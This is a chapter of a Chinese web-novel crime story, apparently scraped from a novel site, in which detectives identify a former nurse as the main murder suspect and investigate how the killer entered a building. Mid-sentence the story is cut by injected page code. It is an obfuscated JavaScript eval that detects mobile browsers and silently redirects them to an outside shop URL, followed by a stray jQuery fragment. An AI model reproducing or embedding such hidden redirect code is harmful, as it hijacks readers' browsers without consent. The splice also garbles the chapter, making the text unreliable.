文趣网 > 其他小说 > 水生木 > 22. 楼梯 10
    “乔安慧,女,今年47岁,已婚,夫妻俩都是雾港本地人。乔安慧本人一年前还在本地很有名的阳春堂做护士,但是不知道什么原因,她突然提出辞职,之后就开始租房收租这样生活。”

    一提到伴侣,严杉洺脑海内闪过零星片段。

    案发那天,楼梯间短暂的交汇,一触即分的握手,以及左手无名指的那圈戒痕。

    “说说她丈夫的情况。”

    华沅点头应下,他翻过手中的资料,“她丈夫叫付辛,也是雾港本地人,从父母手里继承了花莲的很多套房子,没有工作,专门收租靠租金生活。”

    “他们感情怎么样?”乔安慧把戒指摘下来,应当是有原因的,于是严杉洺这样问到。

    “两个人没有孩子,结婚十七年感情应该还不错,没有纠纷记录。”华沅回答。

    还不错吗?严杉洺敏锐的直觉和老道的经验告诉他,真相不是这样,“乔安慧辞职以后,是和付辛一起收租吗?”

    “不,我们打电话问过几个租客,以前付辛收租的时候都是通过网上进行交易的,但是大概半年前,转给付辛的钱都没人收款,变成乔安慧亲自上门收了。”华沅的调查十分细致,十九岁的少年适应力很强。

    “半年前?那付辛人呢?”吕萌发问。

    这次华沅没有消息了,他摇头,“他丈夫不上班成天就吃喝玩乐,有的记录特别少。”

    “要不,查查办卡记录。”硬是要坐在严杉洺身边的柳灼方开口提出方向。

    这一招让华沅思路打开,对呀,付辛肯定会有办卡记录啊,有这个就能推断出付辛的活动范围了。

    “这样,办卡记录的事情交给技术组去干,现在最重要的是围绕乔安慧展开调查,未免打草惊蛇,我和华沅去花莲再次走访,吕萌你带着柳灼方去乔安慧离职的诊所问询一下。”严杉洺脑海里的思路已经打通,就差最后几个关节痛点。

    “我有几个猜测需要你们去确认,一乔安慧有没有练过拳击,二乔安慧是否有洁癖。”

    这并不是凭空幻想,先前在法医室,实践报告明确写出刘芳生前应该被人攻击过,力道很大,应该有过拳击的底子。

    同时,严杉洺想起了另一个被他遗忘的小细节。案发那天凌晨,乔安慧问完话离开,他似乎看到乔安慧从口袋里拿出便携湿巾擦手。擦得就是和他自己短暂交握得那一只。

    如果乔安慧真的有洁癖,那么能想出不换鞋戴鞋套,就顺理成章了。

    案件大体已经明了,就缺乏最后的关键证据。

    “最后,我需要明确表示,乔安慧是本案最大的嫌疑人,调查过程中切记不要打草惊蛇,同时一定注意留意付辛的动向。”严杉洺分配好任务,转身就要带着华沅离开。

    但他一转身,就看见华沅两腿一挪,站到了吕萌身边。严杉洺疑惑的看向他,后者不好意思的指向自己身后。

    果然,柳灼方不知道什么时候从椅子上起来,跑到自己身后站着去了。

    “我最擅长和老头打交道,去花莲肯定得带上我。”柳灼方说的理直气壮头头是道。

    严杉洺懒得和他纠缠,皱眉转身离去。柳灼方嘿嘿一笑,转头给华沅和吕萌比了个爱心,然后立刻屁颠屁颠的跟到严部长身后去了。

    路上,柳灼方开车,严杉洺坐在副驾驶。

    为了躲避柳灼方所有可能提出的问题,他一上车就侧头闭眼装睡。幸好柳灼方还没有残忍到直接把他叫醒起来接受盘问,他就这样阖着眼,一直假寐到花莲小区案发楼下。

    车子平稳停下,严杉洺装出悠悠转醒的样子,他打开车门想要下车,却发现柳灼方还没熄火。

    他转头向柳灼方投去一个疑惑的神情,后者早就一直盯着他了。

    柳灼方的眼神里透露出心疼的味道,把严杉洺看的不知道该做些什么。

    “我知道,我们重逢这段时间,我对你也许逼得太紧了。”柳灼方怎么会察觉不出来身边的人装睡了一路?

    也许严杉洺这些年已经格外善于伪装,但是对于柳灼方而言,他仍然能触及到最真实的部分。

    “这案子没结之前,我不会再和你谈及过去的事情。”柳灼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804340|209050||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    方打心底里不希望看到严杉洺在自己身边时也要费心力伪装自己,所以他打算放缓脚步,给严杉洺时间,也是给他自己时间。

    “案件结束后,你来决定,要不要聊聊。但是……”他话锋一转。

    “我还是会想办法和你呆在一起的。”

    此话并非一己私欲,柳灼方再度解释,“你看,我和吕萌属性一样,两个人凑到一起,很容易忽略细节,可是咱俩搭配就不一样了,你说对不对?”

    严杉洺坐在副驾驶听他长篇大论输出一番,眼睛看着窗外的绿树发呆。

    花莲小区年代久,连带着这些绿化老树也长得粗壮。时常有鸟儿在上面歇脚,落在树枝上,抑或是扎进蓊蓊郁郁的树冠。

    严杉洺看的时候,正有一直灰扑扑的小鸟一头扎进去,随即消失个没影,好像这树能吃鸟一样。见到这幅场景,他不自觉地勾起唇角。

    收回视线,他开始思考柳灼方所说的话。

    他总是希望过去发生的事情能够被彻底遗忘,但事实告诉他,不可能。

    无论是柳灼方出现在他面前,又或是每月发作的异化,这些都在告诉他,事情发生了,并且留下了无法磨灭的痕迹。

    严杉洺低头长叹一口气,“我答应你,就这样吧。”

    两人并肩往楼下走,一路上他们观察了监控的位置,排查出了几个可疑的死角。

    但是这几个死角的位置,大多都是高墙、拐角、垃圾投放点,都找不到能够夜晚进入单元楼的方法。

    那凶手是怎么进去的?

    严杉洺和柳灼方站在单元楼门口,消防栓旁有一扇铁门,应该是有人为了方便进出拿砖头塞在下方堵着不让门合上。

    “那是通往地下室的?”柳灼方的视线落在那扇门上。

    想到了什么,他转过头和严杉洺对视一眼,两个人思路重叠,一瞬间都有了新的想法!

    地下室这种封闭场所,绝对不会只有一个门作出入口,他们只要找到地下室的另一个出口,再判断其是否是监控死角,就能最终锁定凶手在凌晨的潜入方式。